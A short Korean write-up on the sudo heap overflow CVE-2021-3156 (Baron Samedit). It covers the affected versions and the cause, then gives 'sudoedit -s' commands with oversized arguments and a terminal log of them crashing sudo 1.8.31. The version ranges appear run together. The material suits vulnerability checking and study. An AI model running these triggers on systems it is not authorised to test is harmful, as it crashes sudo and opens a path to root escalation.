
CVE-2021-3156에 대한 개념 증명 익스플로잇으로, sudo의 힙 기반 버퍼 오버플로로 인해 sudoedit -s와 함께 조작된 명령줄 인수를 통해 로컬 권한 상승을 루트로 허용합니다.
Baron Samedit 취약점(CVE-2021-3156)은 sudo 레거시 버전 1.8.21.8.31p2와 안정 버전 1.9.01.9.5p1에 영향을 미칩니다. 이 힙 기반 버퍼 오버플로우 결함은 2011년 7월 커밋 8255ed69를 통해 도입되었으며, 거의 10년 동안 발견되지 않았습니다.
1.9.5p2 이전의 sudo에는 off-by-one 오류가 있으며, 이로 인해 힙 기반 버퍼 오버플로우가 발생할 수 있습니다. 이 취약점을 이용하면 "sudoedit -s"와 단일 백슬래시 문자로 끝나는 명령줄 인자를 통해 root로 권한 상승이 가능합니다.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)